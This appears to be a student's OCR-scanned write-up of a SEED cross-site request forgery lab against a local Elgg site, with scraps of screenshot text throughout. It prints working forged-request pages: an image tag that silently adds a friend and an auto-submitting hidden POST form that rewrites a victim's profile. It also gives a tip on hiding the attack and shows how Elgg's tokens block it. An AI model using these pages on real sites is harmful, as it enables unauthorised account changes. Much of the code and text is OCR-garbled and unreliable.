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Task 1
@ HTTP Header Live v x

P.csrflabelgg.com/action/friends/add?friend=43

[ ST T

This is the URL of the friend request for Boby: www.csrflabelgg.com/action/friends/add?friend=43
followed by the ts and token, but since they are not included for the forged URL because they are not
needed since they are disabled for this attack.

Task 2

Here is how we plan to embed the URL in the suspicious link that Boby is trying to phish Alice with: We
use the img tag, which automatically triggers an HTTP GET request; we do it by modifying the attacker
website’s index.html file this way:

khtm1>

<head>

<title=>

You're not hacked :-)

</title>

<b0dy>

ﬂp>

Please wait while we load the hax :-)
</p>

<img src="http://www.csrflabelgg.comfaction/friends/add?friend=43" width=1
height=1=

=</body>

<{head>

</html>

This results in adding Boby as a friend if you visit this website and you have a csrflabelgg.com session
open and logged in, in another tab:

&« c @ ®
1} Most Visited £ SEED Labs [3 Sites for Labs

/ww.csrflabattacker.com

@ HTTP Header Live v x Please wait while we load the hax :-)

GET: HTTP/1.1 200 0K

Date: Mon, 25 Nov 2019 03:52:02 GMT
IServer: Apache/2.4.18 (Ubuntu)
Last-Modified: Mon, 25 Nov 2019 03:50:48 GMT
[ETag: "d8-59823ab466d36-gzip"
|Accept-Ranges: bytes

\Vary: Accept-Encoding
IContent-Encoding: gzip
IContent-Length: 177

Keep-Alive: timeout=5, max=160
IConnection: Keep-Alive
IContent-Type: text/html

http://www.csrflabelgg.com/action/friends/add:
Host: www.csrflabelgg.com

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:60.
Accept: */*

IAccept-Language: en-US,en;q=0.5

|Accept-Encoding: gzip, deflate

Referer: http://www.csrflabattacker.com/

ICookie: Elgg=kn48lbopp2b7etadv3crjvhlul

IConnection: keep-alive

Proof that Alice added Boby as a friend:
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@© www.csrflabelgg.com/activity

Sites for Labs

x
CS Si
o RF Lab Site
2lgg. com/act
a0v3crjvhlul

Activity Blogs Bookmarks Files Groups

3:58 GMT
tu)

All Site Activity

1:59:58 GMT
All

Ee is now a friend with Boby 9

Legitimate profile edit by Alice:

Mine Friends

avascript;cr

.com/cache

1; Ubuntu; L

Task 3

Headers Cookies Params Response

Requgst URL: .I='|ttp:Nm.csrﬂabelgg.com/accian!profile!edit
Request method: POST

Remote address: 127.8.0.1:80

Status code: A 362 Found (3 EditandResend Raw headers
Version; HTTP/1.1

Alice Friends
Brief description: I'm the best! No friends yet
[ L1 Inspector Console [ Debugger {1} Style Editor (@ Performance {k Memory = Network & Storage
I T HTML €SS JS XHR Fonts Images Media WS Other [ |PersistLogs [ |Disablecache
Sta... Meth... Fil Dc Cause Type Transfer... size  oms 320 {6a0ms  [950ms  {1.28s | | 160 Headers Cookies

3 4 ... document html 3.73KB 13.60 KB
GET alice #&... document html 3.75KB 13.60 KB H-34ms
200] GET font-... &... stylesheet css cached 28.38KB
GET elgg.... &... stylesheet css cached 58.10 KB
200 GET color... #... stylesheet css cached 3.80KB
GET jque... #&... script js cached 0B
m GET jque... ... script is cached 0B

GET requ... &... script is cached 800B
GET requ... #&... script is cached 0B

200 GET elgg.js &... script is cached 0B

GET enjs &... script is cached 0B

200 GET initjs &... script is cached 619B
[200] GET read... #... script js cached 2718
GET Plugi... &... script is cached 630B

Filter request parameters
ALLESSICVEIUSS LU, £

accesslevel[interests]: 2
accesslevel[location]: 2
accesslevel[mobile]: 2
accesslevel[phone]: 2
accesslevel[skills]: 2
accesslevel[twitter]: 2
accesslevel[website]: 2
briefdescription: I'm+the+best!
contactemail:
description:

guid: 42

interests:

location:

mobile:

name: Alice

Now we need to modify the HTML script with 4 things: The name (Alice), the guid (42), the
briefdescription (Boby is my Hero) and the action URL (http://www.csrflabelgg.com/action/profile/edit).
The access level needs to also be set to 2 for the briefdescription or else it will be kept private. Here is

what the HTML code for index.html looks like:

Filcer UR

Params
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*index.html

<html>

<body>

<h1>This page forges an HTTP POST request.</hi>
<script type="text/javascript"=

function forge_post()

var fields;

// The following are form entries need to be filled out by attackers.

// The entries are made hidden, so the victim won't be able to see them.

fields += "<input type='hidden' name='name' value='Alice'>";

fields += "<input type='hidden' name='briefdescription' value='Boby is my Hero!'s";
fields += "<input type='hidden' name='accesslevel[briefdescription]' wvalue="2'>";
fields += "<input type='hidden' name="guid' value='42'>";

// Create a <form= element.
var p = document.createkElement("form");

// Construct the form

p.action = "http://www.csrflabelgg.comfaction/profile/fedit
p.innerHTML = fields;

p.method = "post";

.
H

// Append the form to the current page.
document.body.appendChild(p);

J// Submit the form
p.submit();

// Invoke forge post() after the page is loaded.
window.onload = function() { forge_post();}
</script>

<}body>

</html>

Result after Alice clicking on phishing link sent by Boby:

CSREF Lab Site

Activity Blogs Bookmarks Files Groups More »

Alice
Brief description: Boby is my Hero!

[T HTML €SS JS XHR Fonts Images Media WS Other [ |PersistLogs [ |Disablecache Filte
Sta... Meth... Fil Dc Cause Type Transfer... Size oms | 640 ms Headers Cookies W Ri
7] document html 3.72 KB 13.60 KB Filter request parameters
200 GET alice 4&... document html 3.75KB 13.60 KB 1-+37Tms ~ Form data
GET fonk... ... stylesheet css cached 28.38KB | accesslevel[briefdescription]: 2
200 GET elgg.... #... stylesheet css cached 58.10KB briefdescription: Boby+is+my+Hero!
200 GET color... & stylesheet css cached 3.80KB guid: 42 .
== - . o . Lo . name: Alice

However, | think it is important to note that after Alice clicks on the link or visits the attacker’s website,
she is redirected on the same page to her own profile with the updated briefdescription, which is not a
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very good idea because she will notice that immediately. It is a better idea to let the URL run in the
background to conceal the attack.

Question 1

Boby can easily do this in this scenario because the guid of users isn’t well protected: in fact, all he has
to do is capture the URL sent out when he requests Alice as a friend, and he can find the guid there:

I T HTML €SS JS XHR Fonts Images Media WS Other Persist Logs Disable cache

Sta... Meth... Fil Dc Cause Type Transfer... Size 0 ms {10285 Headers Cookies Params Response Timings Stack Tr
Request URL: http://ww.csrflabelgg.con/action/friends/add?friend=42&
Request method: GET

Remote address: 127.0.0.1:80

Status code: ® 200 0K (3 Editand Resend Raw headers

Version: HTTP/1.1

Question 2

It is really difficult to say if Boby can make this attack successful against anyone that visits his website,
because Boby needs to know a couple of things in order for this attack to work, and these values are
entered statically (userName and guid). However Boby could have a script that adds random people on
this site as friends and pick up the information needed (userName and guid) and then place this
information on his website in another script. It is not impossible, but it would take a lot of work. This
type of attack tends to target a specific individuals (because of how specific the parameters must be in
this case).

Perhaps theoretically, Boby could dynamically get the people who visit his website’s information maybe
by having a cross site GET request that captures username and guid, and follows up with another POST
request with the necessary fields updated.

Task 4

After turning on the countermeasure and trying the Task 2 and 3 attack, we notice that the attack does
not go through and we get the following error on Alice’s page:
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Form is missing __token or __ts fields
Form is missing _ token or s fields

Form is missing __token or __ts fields

Form is missing __token or __ts fields

Form is missing __token or __ts fields
Form is missing _ token or s fields
Form is missing __token or __ts fields
Form is missing _ token or s fields
Form is missing __token or __ts fields
Form is missing __token or __ts fields

Form is missing __token or __ts fields

This proves what was expected from turning on this countermeasure: that the attacker needs to be able
to hit the proper ts and token fields in order to make modifications to Alice’s profile through CSRF, or
else it is impossible to pull the attack. Here are the ts and token fields seen from the HTTP inspection
tool:

Alice Friends

Brief description: | am the best! No friends yet.

& L1 Inspector Console [ Debugger  {} Style Editor (2, Performance  {k Memory = Network & Storage

Il T HTML CS5 JS XHR Fonts Images Media WS Other () PersistLogs [ |Disable cache Filter UF

Sta... Meth... Fil. Dc  Cause  Type  Transfer... size 0ms 640 ms eaders Cookies = Params

... document html 13.60 KB ilter request parameters
GET alice ... documenthtml  3.75KB 13.60 KB B-37ms Form data
GET font... &... stylesheet css cached 28.38KB __elgg_token: zeoppv5_AFdWTrxtUoIziA
GET elgg.... #... stylesheet css cached 58.10 KB _elgg ts: 157_4660432. i
CET color... & stylesheet css cached S 80KE accesslevel[briefdescription]: 2
T - - o ; o accesslevel[contactemail]: 2
200 SEl] J.quem ... _,crfpt !" E=iEE gE accesslevel[description]: 2
GET jque... ... script is cached 0B accesslevel[interests]: 2
GET requ... &... script js cached 800B accesslevel[location]: 2
GET requ... &... script js cached 0B accesslevel[mobile]: 2
200 GET elggjs &... script js cached 0B accesslevel[phone]: 2
GET enjs .. script s cached 0B access:eve:[skllls]: 2
o : i accesslevel[twitter]: 2
200 GET initjs #&... script js cached 619B [ ) ]
. - . . accesslevel[website]: 2
200 CET read... f... script s cached e briefdescription: 1+am+the+best!
200 GET Plugi... &... script js cached 630B contactemail:
description:
guid: 42

The elgg ts and elgg token are generated by the views/default/input/securitytoken. php module and
added to the web page. Hence, they are dynamically allocated, which makes it impossible for the
attacker to enter static values or in fact to generate these values accurately. The attacker would need to
have access to the session in order to pull of this attack, but if he has access it defeats the purpose of
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attacking this way. After all the elgg web application validates the generated token and timestamp to
defend against the CSRF attack. Every user action calls validate action token function and this function
validates the tokens. If tokens are not present or invalid, the action will be denied and the user will be
redirected. And the token is a hash value (md5 message digest) of the site secret value (retrieved from
database), timestamp, user sessionID and random generated session string.

PS: interesting to note that the attacker’s website seems to keep refreshing: the URL keeps getting
resent in an attempt to go through, but it keeps getting blocked by the countermeasure implemented.



